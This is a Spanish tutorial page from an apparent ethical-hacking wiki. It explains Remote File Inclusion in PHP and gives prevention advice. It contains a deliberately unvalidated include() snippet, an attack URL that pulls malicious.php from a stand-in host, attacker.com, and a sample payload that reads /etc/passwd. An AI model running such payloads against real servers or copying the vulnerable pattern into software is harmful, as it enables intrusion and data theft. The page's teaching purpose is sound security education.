🐈‍⬛
H4CKdotCL
Laboratorio
  • 🪅Bienvenidos al Book
  • Certificaciones
    • ⏳Junior Penetration Tester - eJPTv2
    • 🥉Ethical Hacking Professional Certification - CEHPC
    • 🥉Cybersecurity Awareness Professional Certification - CAPC
  • Metodología y Fases de Hacking Ético
    • Metodologías
      • Metodología OWASP (Open Web Application Security Project)
      • Metodología PTES
      • Metodología ISSAF
      • Metodología OSSTMM
    • Recopilación Pasiva de Información
      • Sublist3r
      • Httpx
      • theHarvester
      • Google Dorks
      • Wafw00f
      • Shodan
      • Whatweb
    • Recopilación Activa de Información
      • enum4linux
      • Guía de uso para Gobuster
      • Nmap (Network Mapper)
      • Wfuzz
      • SecList
      • FFUF
      • SMBClient
      • CrackMapExec
      • SMBMap
      • WPScan
      • Steghide
      • subfinder
    • SQLMap
    • Hydra
  • Utilidades
    • Docker: Potenciando Laboratorios de Pentesting
    • 📖Ejemplos de informes de Hacking Ético y auditoría de seguridad
  • Vulnerabilidades Web
    • IDOR (Insecure Direct Object Reference)
    • SSRF (Server-Side Request Forgery)
    • CSRF (Cross-Site Request Forgery)
    • File Upload Vulnerabilities
    • LFI (Local File Inclusion)
    • RFI (Remote File Inclusion)
    • XSS (Cross-Site Scripting)
    • XXE (XML External Entity)
    • Template Injections
    • Clickjacking
    • Broken Access Control
    • SQL Injection (Inyección SQL)
    • NoSQL Injection (Inyección NoSQL)
    • LDAP Injection (Inyección LDAP)
    • Log Poisoning
    • Open Redirect Bypass
Con tecnología de GitBook
En esta página

¿Te fue útil?

  1. Vulnerabilidades Web

RFI (Remote File Inclusion)

🌐 Vulnerabilidad: Remote File Inclusion (RFI)


🕵️‍♂️ ¿Qué es RFI?

La vulnerabilidad Remote File Inclusion (RFI) ocurre cuando una aplicación web permite incluir archivos externos (normalmente alojados en un servidor remoto) y ejecutarlos en el servidor. Esto le da a un atacante el poder de ejecutar scripts maliciosos, obtener acceso no autorizado o incluso comprometer completamente el sistema afectado.


⚙️ ¿Cómo se produce?

El problema surge cuando el desarrollador permite a los usuarios proporcionar rutas de archivos a incluir sin validar o restringir correctamente estas entradas. Esto ocurre típicamente en aplicaciones que usan funciones como include, require, include_once o require_once en PHP.


🛠️ Mecanismo de ataque

  1. Paso 1: El atacante identifica un parámetro vulnerable (por ejemplo, ?page=) que utiliza para incluir archivos.

  2. Paso 2: Explora la aplicación para determinar si acepta rutas de URL externas.

  3. Paso 3: Aloja un archivo malicioso (e.g., http://attacker.com/malicious.php) que contiene código malicioso.

  4. Paso 4: Realiza una solicitud como esta:

    http://victim.com/index.php?page=http://attacker.com/malicious.php

    El servidor vulnerable incluirá y ejecutará el archivo remoto, permitiendo la ejecución de código arbitrario.


🎯 Impacto

  • Control del sistema: Permite al atacante ejecutar código arbitrario en el servidor, lo que puede resultar en una toma de control completa.

  • Filtración de información sensible: Los atacantes pueden leer archivos confidenciales como config.php o /.env.

  • Distribución de malware: Usan el servidor como plataforma para infectar a los visitantes.

  • Disponibilidad comprometida: Puede usarse para ataques de denegación de servicio (DoS).


📉 Puntaje CVSS v3

  • Vector de ataque: Red (Explotable remotamente)

  • Complejidad del ataque: Baja (no requiere autenticación)

  • Impacto en la confidencialidad: Alto

  • Impacto en la integridad: Alto

  • Impacto en la disponibilidad: Medio

  • Puntaje CVSS v3: 9.0 (Crítico) 🔥


🧑‍💻 Ejemplo práctico

Código vulnerable:

<?php
    $file = $_GET['page'];
    include($file); // ¡Sin validación de entrada!
?>

📌 Ataque:

http://victim.com/index.php?page=http://attacker.com/malicious.php

Ejemplo de archivo malicioso (malicious.php):

<?php
    // Código malicioso
    echo "Sistema comprometido 😈";
    system('cat /etc/passwd'); // Robo de datos
?>

🛡️ ¿Cómo prevenir un ataque RFI?

1️⃣ Validación estricta de entradas

Asegúrate de que las entradas del usuario solo acepten valores predefinidos:

<?php
    $allowed_pages = ['home', 'about', 'contact'];
    $page = $_GET['page'];
    
    if (in_array($page, $allowed_pages)) {
        include($page . '.php');
    } else {
        echo "Página no válida.";
    }
?>

2️⃣ Deshabilitar inclusión remota

En el archivo php.ini, desactiva la capacidad de incluir archivos remotos:

allow_url_include = Off
allow_url_fopen = Off

3️⃣ Uso de frameworks seguros

Utiliza frameworks como Laravel, Symfony, o Django, que manejan rutas y plantillas de manera segura.

4️⃣ Aplicar reglas de un WAF

Un Firewall de Aplicación Web (WAF) puede bloquear solicitudes maliciosas que intenten inyectar URLs externas.

5️⃣ Mantener el sistema actualizado

Asegúrate de que el servidor y las dependencias estén al día para evitar vulnerabilidades conocidas.


💡 Dato extra: RFI es más común en aplicaciones antiguas o mal diseñadas, ¡pero sigue siendo un vector de ataque crítico! 🛡️

🚨 Nota importante: Esta vulnerabilidad también puede aprovecharse en combinación con otros ataques, como XSS o RCE, amplificando el daño.

AnteriorLFI (Local File Inclusion)SiguienteXSS (Cross-Site Scripting)

Última actualización hace 6 meses

¿Te fue útil?